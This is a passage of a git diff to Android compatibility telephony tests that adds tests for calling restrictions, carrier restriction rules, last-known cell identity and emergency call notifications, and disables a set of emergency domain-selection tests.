assertFalse(testPhoneAccount.hasCapabilities(PhoneAccount.CAPABILITY_CALL_COMPOSER));
}
+
+ public void testPhoneAccountSetCallingRestriction() {
+ if (!Flags.simultaneousCallingIndications()) {
+ return;
+ }
+ PhoneAccountHandle handle1 = new PhoneAccountHandle(
+ ComponentName.createRelative("pkg", "cls"), "123");
+ PhoneAccountHandle handle2 = new PhoneAccountHandle(
+ ComponentName.createRelative("pkg", "cls"), "456");
+ PhoneAccountHandle handle3 = new PhoneAccountHandle(
+ ComponentName.createRelative("pkg", "cls"), "789");
+
+ ArraySet<PhoneAccountHandle> testRestriction = new ArraySet<>(2);
+ testRestriction.add(handle2);
+ testRestriction.add(handle3);
+ PhoneAccount testPhoneAccount = new PhoneAccount.Builder(handle1, "test1")
+ .setSimultaneousCallingRestriction(testRestriction)
+ .build();
+ assertTrue(testPhoneAccount.hasSimultaneousCallingRestriction());
+
+ Parcel dataParceled = Parcel.obtain();
+ testPhoneAccount.writeToParcel(dataParceled, 0);
+ dataParceled.setDataPosition(0);
+ PhoneAccount resultPA =
+ PhoneAccount.CREATOR.createFromParcel(dataParceled);
+ dataParceled.recycle();
+
+ assertEquals(testPhoneAccount, resultPA);
+ assertTrue(resultPA.hasSimultaneousCallingRestriction());
+ assertEquals(testRestriction, resultPA.getSimultaneousCallingRestriction());
+ }
+
+ public void testPhoneAccountClearCallingRestriction() {
+ if (!Flags.simultaneousCallingIndications()) {
+ return;
+ }
+ PhoneAccountHandle handle1 = new PhoneAccountHandle(
+ ComponentName.createRelative("pkg", "cls"), "123");
+ PhoneAccountHandle handle2 = new PhoneAccountHandle(
+ ComponentName.createRelative("pkg", "cls"), "456");
+ PhoneAccountHandle handle3 = new PhoneAccountHandle(
+ ComponentName.createRelative("pkg", "cls"), "789");
+
+ ArraySet<PhoneAccountHandle> testRestriction = new ArraySet<>(2);
+ testRestriction.add(handle2);
+ testRestriction.add(handle3);
+ PhoneAccount pa = new PhoneAccount.Builder(handle1, "test1")
+ .setSimultaneousCallingRestriction(testRestriction)
+ .build();
+ PhoneAccount testPhoneAccount = new PhoneAccount.Builder(pa)
+ .clearSimultaneousCallingRestriction()
+ .build();
+ assertFalse(testPhoneAccount.hasSimultaneousCallingRestriction());
+
+ Parcel dataParceled = Parcel.obtain();
+ testPhoneAccount.writeToParcel(dataParceled, 0);
+ dataParceled.setDataPosition(0);
+ PhoneAccount resultPA =
+ PhoneAccount.CREATOR.createFromParcel(dataParceled);
+ dataParceled.recycle();
+
+ assertEquals(testPhoneAccount, resultPA);
+ assertFalse(testPhoneAccount.hasSimultaneousCallingRestriction());
+ try {
+ resultPA.getSimultaneousCallingRestriction();
+ fail("getSimultaneousCallingRestriction should throw IllegalStateException if not set");
+ } catch (IllegalStateException e) {
+ // expected
+ }
+ }
}
\ No newline at end of file
diff --git a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioSimImpl.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioSimImpl.java
index 51304d4..2c96925 100644
--- a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioSimImpl.java
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioSimImpl.java
@@ -41,6 +41,7 @@
import android.util.Log;
import java.util.ArrayList;
+import com.android.internal.telephony.flags.Flags;
public class IRadioSimImpl extends IRadioSim.Stub {
private static final String TAG = "MRSIM";
@@ -65,6 +66,10 @@
private Carrier[] mCarrierList;
private int mCarrierRestrictionStatus = CarrierRestrictions.CarrierRestrictionStatus.UNKNOWN;
+ private int mMultiSimPolicy =
+ android.hardware.radio.sim.SimLockMultiSimPolicy.NO_MULTISIM_POLICY;
+ private CarrierRestrictions mCarrierRestrictionRules;
+
public IRadioSimImpl(
MockModemService service, MockModemConfigInterface configInterface, int instanceId) {
mTag = TAG + "-" + instanceId;
@@ -229,7 +234,7 @@
@Override
public void getAllowedCarriers(int serial) {
Log.d(mTag, "getAllowedCarriers");
-
+ RadioResponseInfo rsp = mService.makeSolRsp(serial);
android.hardware.radio.sim.CarrierRestrictions carriers =
new android.hardware.radio.sim.CarrierRestrictions();
if (mCarrierList == null || mCarrierList.length < 1) {
@@ -241,13 +246,19 @@
if (Build.VERSION.SDK_INT > Build.VERSION_CODES.TIRAMISU) {
carriers.status = mCarrierRestrictionStatus;
}
- int multiSimPolicy = android.hardware.radio.sim.SimLockMultiSimPolicy.NO_MULTISIM_POLICY;
-
- RadioResponseInfo rsp = mService.makeSolRsp(serial);
+ if (Flags.carrierRestrictionRulesEnhancement() && mCarrierRestrictionRules != null) {
+ Log.e(mTag, "Updating carrierInfo information in CarrierRestrictions");
+ carriers.allowedCarrierInfoList = mCarrierRestrictionRules.allowedCarrierInfoList;
+ carriers.excludedCarrierInfoList = mCarrierRestrictionRules.excludedCarrierInfoList;
+ }
try {
- mRadioSimResponse.getAllowedCarriersResponse(rsp, carriers, multiSimPolicy);
+ mRadioSimResponse.getAllowedCarriersResponse(rsp, carriers, mMultiSimPolicy);
} catch (RemoteException ex) {
Log.e(mTag, "Failed to getAllowedCarriers from AIDL. Exception" + ex);
+ } finally {
+ // resetting the mCarrierRestrictionRules
+ mCarrierRestrictionRules = null;
+ mMultiSimPolicy = android.hardware.radio.sim.SimLockMultiSimPolicy.NO_MULTISIM_POLICY;
}
}
@@ -1062,4 +1073,11 @@
mCarrierList = carrierList;
mCarrierRestrictionStatus = carrierRestrictionStatus;
}
+
+ public void updateCarrierRestrictionRules(CarrierRestrictions carrierRestrictionRules,
+ int multiSimPolicy) {
+ Log.d(mTag, "updateCarrierRestrictionRules");
+ mCarrierRestrictionRules = carrierRestrictionRules;
+ mMultiSimPolicy = multiSimPolicy;
+ }
}
diff --git a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemManager.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemManager.java
index f9e060d..fdd346e 100644
--- a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemManager.java
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemManager.java
@@ -22,6 +22,7 @@
import android.content.Context;
import android.hardware.radio.sim.Carrier;
+import android.hardware.radio.sim.CarrierRestrictions;
import android.hardware.radio.voice.CdmaSignalInfoRecord;
import android.hardware.radio.voice.UusInfo;
import android.os.Build;
@@ -1073,4 +1074,10 @@
return mMockModemService.getIRadioModem((byte) slotId)
.waitForLatchCountdown(slotId, waitMs);
}
+
+ public void setCarrierRestrictionRules(CarrierRestrictions carrierRestrictionRules,
+ int multiSimPolicy) {
+ mMockModemService.getIRadioSim().updateCarrierRestrictionRules(
+ carrierRestrictionRules, multiSimPolicy);
+ }
}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
index 5571bfd..0ce0494 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
@@ -163,12 +163,14 @@
import java.util.Arrays;
import java.util.Collection;
import java.util.Collections;
+import java.util.Comparator;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Locale;
import java.util.Map;
import java.util.Objects;
+import java.util.Optional;
import java.util.Set;
import java.util.concurrent.CompletableFuture;
import java.util.concurrent.CountDownLatch;
@@ -6190,6 +6192,10 @@
}
@Test
+ @ApiTest(apis = {
+ "android.telephony.TelephonyManager#setVoiceServiceStateOverride"})
+ @RequiresFlagsEnabled(
+ com.android.server.telecom.flags.Flags.FLAG_TELECOM_RESOLVE_HIDDEN_DEPENDENCIES)
public void testSetVoiceServiceStateOverride() {
assumeTrue(hasFeature(PackageManager.FEATURE_TELEPHONY_CALLING));
ServiceStateRadioStateListener callback = new ServiceStateRadioStateListener(
@@ -6820,6 +6826,54 @@
@Test
@ApiTest(apis = {
+ "android.telephony.TelephonyManager#getLastKnownCellIdentity"})
+ @RequiresFlagsEnabled(
+ com.android.server.telecom.flags.Flags.FLAG_TELECOM_RESOLVE_HIDDEN_DEPENDENCIES)
+ public void testGetLastKnownCellIdentity() {
+ assumeTrue(hasFeature(PackageManager.FEATURE_TELEPHONY_RADIO_ACCESS));
+ // Revoking ACCESS_FINE_LOCATION will cause test to crash. Verify that security exception
+ // is still thrown if com.android.phone.permission.ACCESS_LAST_KNOWN_CELL_ID is
+ // not granted.
+ try {
+ mTelephonyManager.getLastKnownCellIdentity();
+ fail("TelephonyManager#resetSettings requires the"
+ + " permission.ACCESS_LAST_KNOWN_CELL_ID.");
+ } catch (SecurityException e) {
+ //expected
+ }
+
+ // Obtain the primary cell identity from the NetworkRegistration info list.
+ ServiceState ss = mTelephonyManager.getServiceState();
+ List<NetworkRegistrationInfo> regInfos = ss != null
+ ? ss.getNetworkRegistrationInfoList()
+ : new ArrayList();
+
+ Optional<CellIdentity> primaryCellIdentity = regInfos.stream()
+ .filter(nri -> nri.getCellIdentity() != null)
+ .filter(nri -> nri.getTransportType() == AccessNetworkConstants.TRANSPORT_TYPE_WWAN)
+ .sorted(Comparator.comparing(NetworkRegistrationInfo::isRegistered)
+ .thenComparing((nri) -> nri.getDomain() & NetworkRegistrationInfo.DOMAIN_CS)
+ .reversed())
+ .map(nri -> nri.getCellIdentity())
+ .distinct()
+ .findFirst();
+
+ try {
+ CellIdentity cellIdentity = ShellIdentityUtils.invokeMethodWithShellPermissions(
+ mTelephonyManager, (tm) -> tm.getLastKnownCellIdentity(),
+ permission.ACCESS_LAST_KNOWN_CELL_ID,
+ permission.ACCESS_FINE_LOCATION);
+ assertEquals(
+ cellIdentity,
+ primaryCellIdentity.isPresent() ? primaryCellIdentity.get() : null);
+ } catch (SecurityException e) {
+ e.printStackTrace();
+ fail(e.toString());
+ }
+ }
+
+ @Test
+ @ApiTest(apis = {
"android.telephony.TelephonyManager#isNullCipherNotificationsEnabled",
"android.telephony.TelephonyManager#setEnableNullCipherNotifications"})
@RequiresFlagsEnabled(Flags.FLAG_ENABLE_MODEM_CIPHER_TRANSPARENCY)
@@ -6867,6 +6921,7 @@
}
);
}
+
@Test
@RequiresFlagsEnabled(Flags.FLAG_DATA_ONLY_CELLULAR_SERVICE)
@ApiTest(apis = {
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTestOnMockModem.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTestOnMockModem.java
index c684db8..8af426d 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTestOnMockModem.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTestOnMockModem.java
@@ -38,6 +38,7 @@
import android.hardware.radio.network.Domain;
import android.hardware.radio.sim.Carrier;
import android.hardware.radio.sim.CarrierRestrictions;
+import android.hardware.radio.sim.SimLockMultiSimPolicy;
import android.hardware.radio.voice.LastCallFailCause;
import android.hardware.radio.voice.UusInfo;
import android.net.Uri;
@@ -48,6 +49,7 @@
import android.platform.test.annotations.RequiresFlagsEnabled;
import android.platform.test.flag.junit.CheckFlagsRule;
import android.platform.test.flag.junit.DeviceFlagsValueProvider;
+import android.telephony.CarrierInfo;
import android.telecom.PhoneAccount;
import android.telecom.TelecomManager;
import android.telephony.AccessNetworkConstants;
@@ -65,6 +67,7 @@
import androidx.annotation.RequiresApi;
import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
import com.android.compatibility.common.util.ShellIdentityUtils;
import com.android.internal.telephony.flags.Flags;
@@ -79,7 +82,9 @@
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
+import java.util.ArrayList;
import java.util.Arrays;
+import java.util.List;
import java.util.concurrent.Executor;
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.TimeUnit;
@@ -1032,4 +1037,112 @@
assertEquals(TelephonyManager.CARRIER_RESTRICTION_STATUS_RESTRICTED,
rules.getCarrierRestrictionStatus());
}
+
+ @RequiresFlagsEnabled(Flags.FLAG_CARRIER_RESTRICTION_RULES_ENHANCEMENT)
+ @SdkSuppress(minSdkVersion = Build.VERSION_CODES.VANILLA_ICE_CREAM,
+ codeName = "VanillaIceCream")
+ @Test
+ public void getCarrierRestrictionRules() {
+ assumeTrue(Flags.carrierRestrictionRulesEnhancement());
+ // settings the data in MockModem
+ android.hardware.radio.sim.CarrierRestrictions carrierRestrictions =
+ new android.hardware.radio.sim.CarrierRestrictions();
+ android.hardware.radio.sim.CarrierInfo carrierInfo = getCarrierInfo("321", "654", "Airtel",
+ null, null, null, null, null, null);
+ carrierRestrictions.allowedCarrierInfoList = new android.hardware.radio.sim.CarrierInfo[1];
+ carrierRestrictions.allowedCarrierInfoList[0] = carrierInfo;
+ sMockModemManager.setCarrierRestrictionRules(carrierRestrictions,
+ android.hardware.radio.sim.SimLockMultiSimPolicy.NO_MULTISIM_POLICY);
+
+ // calling TM API with shell permissions.
+ CarrierRestrictionRules carrierRules = ShellIdentityUtils.invokeMethodWithShellPermissions(
+ sTelephonyManager, tm -> tm.getCarrierRestrictionRules());
+
+ // Verify the received CarrierRestrictionRules
+ assertTrue(carrierRules != null);
+ assertTrue(carrierRules.getAllowedCarriersInfoList() != null);
+ assertEquals(1, carrierRules.getAllowedCarriersInfoList().size());
+ CarrierInfo carrierInfo1 = carrierRules.getAllowedCarriersInfoList().get(0);
+ assertTrue(carrierInfo1 != null);
+ assertEquals(carrierInfo1.getMcc(), "321");
+ assertEquals(carrierInfo1.getMnc(), "654");
+ assertEquals(carrierInfo1.getSpn(), "Airtel");
+ assertEquals(carrierRules.getMultiSimPolicy(),
+ CarrierRestrictionRules.MULTISIM_POLICY_NONE);
+ }
+
+ @RequiresFlagsEnabled(Flags.FLAG_CARRIER_RESTRICTION_RULES_ENHANCEMENT)
+ @SdkSuppress(minSdkVersion = Build.VERSION_CODES.VANILLA_ICE_CREAM,
+ codeName = "VanillaIceCream")
+ @Test
+ public void getCarrierRestrictionRules_WithEphlmnList() {
+ assumeTrue(Flags.carrierRestrictionRulesEnhancement());
+ // settings the data in MockModem
+ android.hardware.radio.sim.CarrierRestrictions carrierRestrictions =
+ new android.hardware.radio.sim.CarrierRestrictions();
+ List<android.hardware.radio.sim.Plmn> plmnList = new ArrayList<>();
+ android.hardware.radio.sim.Plmn plmn1 = new android.hardware.radio.sim.Plmn();
+ plmn1.mcc = "*";
+ plmn1.mnc = "546";
+
+ android.hardware.radio.sim.Plmn plmn2 = new android.hardware.radio.sim.Plmn();
+ plmn2.mcc = "132";
+ plmn2.mnc = "***";
+
+ plmnList.add(plmn1);
+ plmnList.add(plmn2);
+
+ android.hardware.radio.sim.CarrierInfo carrierInfo = getCarrierInfo("*21", "**1", "Jio",
+ null, null, null, plmnList, null, null);
+ carrierRestrictions.allowedCarrierInfoList = new android.hardware.radio.sim.CarrierInfo[1];
+ carrierRestrictions.allowedCarrierInfoList[0] = carrierInfo;
+ sMockModemManager.setCarrierRestrictionRules(carrierRestrictions,
+ SimLockMultiSimPolicy.ACTIVE_SERVICE_ON_ANY_SLOT_TO_UNBLOCK_OTHER_SLOTS);
+
+ // calling TM API with shell permissions.
+ CarrierRestrictionRules carrierRules = ShellIdentityUtils.invokeMethodWithShellPermissions(
+ sTelephonyManager, tm -> tm.getCarrierRestrictionRules());
+
+ // Verify the received CarrierRestrictionRules
+ assertTrue(carrierRules != null);
+ Log.d("TestonMockModem", "CTS carrierRules = " +carrierRules);
+ assertTrue(carrierRules.getAllowedCarriersInfoList() != null);
+ assertEquals(1, carrierRules.getAllowedCarriersInfoList().size());
+ CarrierInfo carrierInfo1 = carrierRules.getAllowedCarriersInfoList().get(0);
+ assertTrue(carrierInfo1 != null);
+ assertEquals(carrierInfo1.getMcc(), "*21");
+ assertEquals(carrierInfo1.getMnc(), "**1");
+ assertEquals(carrierInfo1.getSpn(), "Jio");
+ assertTrue(carrierInfo1.getEhplmn() != null);
+ assertTrue(carrierInfo1.getEhplmn().size() == 2);
+ String ehplmn1 = carrierInfo1.getEhplmn().get(0);
+ String ehplmn2 = carrierInfo1.getEhplmn().get(1);
+ String[] ehplmn1Tokens = ehplmn1.split(",");
+ String[] ehplmn2Tokens = ehplmn2.split(",");
+ assertEquals(ehplmn1Tokens[0], "*");
+ assertEquals(ehplmn1Tokens[1], "546");
+ assertEquals(ehplmn2Tokens[0], "132");
+ assertEquals(ehplmn2Tokens[1], "***");
+ assertEquals(carrierRules.getMultiSimPolicy(),
+ CarrierRestrictionRules.
+ MULTISIM_POLICY_ACTIVE_SERVICE_ON_ANY_SLOT_TO_UNBLOCK_OTHER_SLOTS);
+ }
+
+ private android.hardware.radio.sim.CarrierInfo getCarrierInfo(String mcc, String mnc,
+ String spn, String gid1, String gid2, String imsi,
+ List<android.hardware.radio.sim.Plmn> ehplmn, String iccid, String impi) {
+ android.hardware.radio.sim.CarrierInfo carrierInfo =
+ new android.hardware.radio.sim.CarrierInfo();
+ carrierInfo.mcc = mcc;
+ carrierInfo.mnc = mnc;
+ carrierInfo.spn = spn;
+ carrierInfo.gid1 = gid1;
+ carrierInfo.gid2 = gid2;
+ carrierInfo.imsiPrefix = imsi;
+ carrierInfo.ehplmn = ehplmn;
+ carrierInfo.iccid = iccid;
+ carrierInfo.impi = impi;
+ return carrierInfo;
+ }
+
}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyRegistryManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyRegistryManagerTest.java
index 6c0a2a0..89401ee 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyRegistryManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyRegistryManagerTest.java
@@ -24,8 +24,10 @@
import android.telephony.TelephonyManager;
import android.telephony.TelephonyManager.CarrierPrivilegesCallback;
import android.telephony.TelephonyRegistryManager;
+import android.telephony.emergency.EmergencyNumber;
import android.telephony.ims.ImsCallProfile;
import android.text.TextUtils;
+import android.util.Log;
import android.util.Pair;
import androidx.annotation.NonNull;
@@ -39,10 +41,12 @@
import org.junit.Rule;
import org.junit.Test;
+import java.util.ArrayList;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.Semaphore;
import java.util.concurrent.TimeUnit;
/**
@@ -692,9 +696,46 @@
(tm) -> tm.listen(psl, PhoneStateListener.LISTEN_NONE));
}
+ @Test
+ public void testNotifyOutgoingEmergencyCall() throws Exception {
+ Context context = InstrumentationRegistry.getContext();
+ String testEmergencyNumber = "9998887776655443210";
+ EmergencyNumber emergencyNumber = new EmergencyNumber(
+ testEmergencyNumber,
+ "us",
+ "30",
+ EmergencyNumber.EMERGENCY_SERVICE_CATEGORY_UNSPECIFIED,
+ new ArrayList<>(),
+ EmergencyNumber.EMERGENCY_NUMBER_SOURCE_NETWORK_SIGNALING,
+ EmergencyNumber.EMERGENCY_CALL_ROUTING_NORMAL);
+ int defaultSubId = SubscriptionManager.getDefaultSubscriptionId();
+ int phoneId = SubscriptionManager.getSlotIndex(defaultSubId);
+
+ LinkedBlockingQueue<List<CallState>> queue = new LinkedBlockingQueue<>(1);
+ TestTelephonyCallback testCb = new TestTelephonyCallback(queue);
+
+ // Register telephony callback.
+ TelephonyManager telephonyManager = context.getSystemService(TelephonyManager.class);
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(telephonyManager,
+ (tm) -> tm.registerTelephonyCallback(context.getMainExecutor(), testCb));
+ // clear the initial result from registering the listener.
+ queue.poll(TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyRegistryMgr,
+ (trm) -> trm.notifyOutgoingEmergencyCall(phoneId, defaultSubId, emergencyNumber));
+ assertTrue(testCb.mCallbackSemaphore.tryAcquire(15, TimeUnit.SECONDS));
+ assertEquals(emergencyNumber, testCb.mLastOutgoingEmergencyNumber);
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(telephonyManager,
+ (tm) -> tm.unregisterTelephonyCallback(testCb));
+ }
+
private class TestTelephonyCallback extends TelephonyCallback
- implements TelephonyCallback.CallAttributesListener {
+ implements TelephonyCallback.CallAttributesListener,
+ TelephonyCallback.OutgoingEmergencyCallListener {
+ public Semaphore mCallbackSemaphore = new Semaphore(0);
LinkedBlockingQueue<List<CallState>> mTestCallStatesQueue;
+ private EmergencyNumber mLastOutgoingEmergencyNumber;
+
TestTelephonyCallback(LinkedBlockingQueue<List<CallState>> queue) {
mTestCallStatesQueue = queue;
}
@@ -702,6 +743,14 @@
public void onCallStatesChanged(@NonNull List<CallState> callStateList) {
mTestCallStatesQueue.offer(callStateList);
}
+
+ @Override
+ public void onOutgoingEmergencyCall(EmergencyNumber placedEmergencyNumber,
+ int subscriptionId) {
+ Log.i("telecomTag", "onOutgoingEmergencyCall: telephony callback");
+ mLastOutgoingEmergencyNumber = placedEmergencyNumber;
+ mCallbackSemaphore.release();
+ }
}
private class TestTelephonyCallbackLegacy extends TelephonyCallback
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/EmergencyCallDomainSelectionTestOnMockModem.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/EmergencyCallDomainSelectionTestOnMockModem.java
index 10a4e96..ffd614c 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/EmergencyCallDomainSelectionTestOnMockModem.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/EmergencyCallDomainSelectionTestOnMockModem.java
@@ -104,6 +104,7 @@
import org.junit.AfterClass;
import org.junit.Before;
import org.junit.BeforeClass;
+import org.junit.Ignore;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -297,6 +298,7 @@
TelephonyUtils.endBlockSuppression(InstrumentationRegistry.getInstrumentation());
}
+ @Ignore("For internal test only.")
@Test
public void testDefaultCombinedImsRegisteredBarredSelectCs() throws Exception {
// Setup pre-condition
@@ -315,6 +317,7 @@
verifyCsDialed();
}
+ @Ignore("For internal test only.")
@Test
public void testDefaultCombinedImsRegisteredSelectPs() throws Exception {
// Setup pre-condition
@@ -331,6 +334,7 @@
verifyPsDialed();
}
+ @Ignore("For internal test only.")
@Test
public void testDefaultCombinedImsNotRegisteredSelectCs() throws Exception {
// Setup pre-condition
@@ -347,6 +351,7 @@
verifyCsDialed();
}
+ @Ignore("For internal test only.")
@Test
public void testDefaultCombinedImsNotRegisteredBarredSelectCs() throws Exception {
// Setup pre-condition
@@ -365,6 +370,7 @@
verifyCsDialed();
}
+ @Ignore("For internal test only.")
@Test
public void testDefaultCombinedImsRegisteredEmsOffBarredSelectCs() throws Exception {
// Setup pre-condition
@@ -383,6 +389,7 @@
verifyCsDialed();
}
+ @Ignore("For internal test only.")
@Test
public void testDefaultCombinedImsRegisteredEmsOffSelectCs() throws Exception {
// Setup pre-condition
@@ -399,6 +406,7 @@
verifyCsDialed();
}
+ @Ignore("For internal test only.")
@Test
public void testDefaultCombinedImsNotRegisteredEmsOffSelectCs() throws Exception {
// Setup pre-condition
@@ -415,6 +423,7 @@
verifyCsDialed();
}
+ @Ignore("For internal test only.")
@Test
public void testDefaultCombinedImsNotRegisteredEmsOffBarredSelectCs() throws Exception {
// Setup pre-condition
@@ -433,6 +442,7 @@
verifyCsDialed();
}
+ @Ignore("For internal test only.")
@Test
public void testDefaultCombinedImsRegisteredVopsOffBarredSelectCs() throws Exception {
// Setup pre-condition
@@ -451,6 +461,7 @@
verifyCsDialed();
}
+ @Ignore("For internal test only.")
@Test
public void testDefaultCombinedImsRegisteredVopsOffSelectCs() throws Exception {
// Setup pre-condition
@@ -467,6 +478,7 @@
verifyCsDialed();
}
+ @Ignore("For internal test only.")
@Test
public void testDefaultCombinedImsNotRegisteredVopsOffSelectCs() throws Exception {
// Setup pre-condition
@@ -483,6 +495,7 @@
verifyCsDialed();
}
+ @Ignore("For internal test only.")
@Test
public void testDefaultCombinedImsNotRegisteredVopsOffBarredSelectCs() throws Exception {
// Setup pre-condition
@@ -501,6 +514,7 @@
verifyCsDialed();
}
+ @Ignore("For internal test only.")
@Test
public void testDefaultCombinedImsRegisteredVopsOffEmsOffBarredSelectCs() throws Exception {
// Setup pre-condition
@@ -519,6 +533,7 @@
verifyCsDialed();
}
+ @Ignore("For internal test only.")
@Test
public void testDefaultCombinedImsRegisteredVopsOffEmsOffSelectCs() throws Exception {
// Setup pre-condition
@@ -535,6 +550,7 @@
verifyCsDialed();
}
+ @Ignore("For internal test only.")
@Test
public void testDefaultCombinedImsNotRegisteredVopsOffEmsOffSelectCs() throws Exception {
// Setup pre-condition
@@ -551,6 +567,7 @@
verifyCsDialed();
}
+ @Ignore("For internal test only.")
@Test
public void testDefaultCombinedImsNotRegisteredVopsOffEmsOffBarredSelectCs() throws Exception {
// Setup pre-condition
@@ -569,6 +586,7 @@
verifyCsDialed();
}
+ @Ignore("For internal test only.")
@Test
public void testDefaultCsSelectCs() throws Exception {
// Setup pre-condition
@@ -585,6 +603,7 @@
verifyCsDialed();
}
+ @Ignore("For internal test only.")
@Test
public void testDefaultEpsImsRegisteredBarredScanPsPreferred() throws Exception {
// Setup pre-condition
@@ -603,6 +622,7 @@
verifyScanPsPreferred();
}
+ @Ignore("For internal test only.")
@Test
public void testDefaultEpsImsRegisteredSelectPs() throws Exception {
// Setup pre-condition
@@ -619,6 +639,7 @@
verifyPsDialed();
}
+ @Ignore("For internal test only.")
@Test
public void testDefaultEpsImsNotRegisteredSelectPs() throws Exception {
// Setup pre-condition
@@ -635,6 +656,7 @@
verifyPsDialed();
}
+ @Ignore("For internal test only.")
@Test
public void testDefaultEpsImsNotRegisteredBarredSelectScanPsPreferred() throws Exception {
// Setup pre-condition
@@ -653,6 +675,7 @@
verifyScanPsPreferred();
}
+ @Ignore("For internal test only.")
@Test
public void testDefaultEpsImsRegisteredEmsOffBarredScanPsPreferred() throws Exception {
// Setup pre-condition
@@ -671,6 +694,7 @@
verifyScanPsPreferred();
}
+ @Ignore("For internal test only.")
@Test
public void testDefaultEpsImsRegisteredEmsOffScanPsPreferred() throws Exception {
// Setup pre-condition
@@ -687,6 +711,7 @@
verifyScanPsPreferred();
}
+ @Ignore("For internal test only.")
@Test
public void testDefaultEpsImsNotRegisteredEmsOffScanPsPreferred() throws Exception {
// Setup pre-condition
@@ -703,6 +728,7 @@
verifyScanPsPreferred();
}
+ @Ignore("For internal test only.")
@Test
public void testDefaultEpsImsNotRegisteredEmsOffBarredScanPsPreferred() throws Exception {
// Setup pre-condition
@@ -721,6 +747,7 @@
verifyScanPsPreferred();
}
+ @Ignore("For internal test only.")
@Test
public void testDefaultEpsImsRegisteredVopsOffBarredScanPsPreferred() throws Exception {
// Setup pre-condition
@@ -739,6 +766,7 @@
verifyScanPsPreferred();
}
+ @Ignore("For internal test only.")
@Test
public void testDefaultEpsImsRegisteredVopsOffScanPsPreferred() throws Exception {
// Setup pre-condition
@@ -755,6 +783,7 @@
verifyScanPsPreferred();
}
+ @Ignore("For internal test only.")
@Test
public void testDefaultEpsImsNotRegisteredVopsOffScanPsPreferred() throws Exception {
// Setup pre-condition
@@ -771,6 +800,7 @@
verifyScanPsPreferred();
}
+ @Ignore("For internal test only.")
@Test
public void testDefaultEpsImsNotRegisteredVopsOffBarredScanPsPreferred() throws Exception {
// Setup pre-condition
@@ -789,6 +819,7 @@
verifyScanPsPreferred();
}
+ @Ignore("For internal test only.")
@Test
public void testDefaultEpsImsRegisteredVopsOffEmsOffBarredScanPsPreferred() throws Exception {
// Setup pre-condition
@@ -807,6 +838,7 @@
verifyScanPsPreferred();
}
+ @Ignore("For internal test only.")
@Test
public void testDefaultEpsImsRegisteredVopsOffEmsOffScanPsPreferred() throws Exception {
// Setup pre-condition
@@ -823,6 +855,7 @@
verifyScanPsPreferred();
}
+ @Ignore("For internal test only.")
@Test
public void testDefaultEpsImsNotRegisteredVopsOffEmsOffScanPsPreferred() throws Exception {
// Setup pre-condition
@@ -839,6 +872,7 @@
verifyScanPsPreferred();
}
+ @Ignore("For internal test only.")
@Test
public void testDefaultEpsNotRegisteredVopsOffEmsOffBarredScanPsPreferred() throws Exception {
// Setup pre-condition
@@ -857,6 +891,7 @@
verifyScanPsPreferred();
}
+ @Ignore("For internal test only.")
@Test
public void testDefaultOutOfServiceScanPsPreferred() throws Exception {
// Setup pre-condition
@@ -872,6 +907,7 @@
verifyScanPsPreferred();
}
+ @Ignore("For internal test only.")
@Test
public void testVoLteOnEpsImsNotRegisteredSelectPs() throws Exception {
// Setup pre-condition
@@ -894,6 +930,7 @@
verifyPsDialed();
}
+ @Ignore("For internal test only.")
@Test
public void testVoLteOffEpsImsNotRegisteredScanCsPreferred() throws Exception {
// Setup pre-condition
@@ -916,6 +953,7 @@
verifyScanCsPreferred();
}
+ @Ignore("For internal test only.")
@Test
public void testRequiresRegEpsImsNotRegisteredScanCsPreferred() throws Exception {
// Setup pre-condition
@@ -933,6 +971,7 @@
verifyScanCsPreferred();
}
+ @Ignore("For internal test only.")
@Test
public void testDefaultCsSelectCsFailedRescanPsPreferred() throws Exception {
// Setup pre-condition
@@ -955,6 +994,7 @@
verifyRescanPsPreferred();
}
+ @Ignore("For internal test only.")
@Test
public void testDefaultWifiImsRegisteredScanTimeoutSelectWifiImsPdn() throws Exception {
// Setup pre-condition
@@ -985,6 +1025,7 @@
assertNotNull(callSession);
}
+ @Ignore("For internal test only.")
@Test
public void testDefaultWifiImsRegisteredCellularTimeoutSelectWifiImsPdn() throws Exception {
// Setup pre-condition
@@ -1016,6 +1057,7 @@
assertNotNull(callSession);
}
+ @Ignore("For internal test only.")
@Test
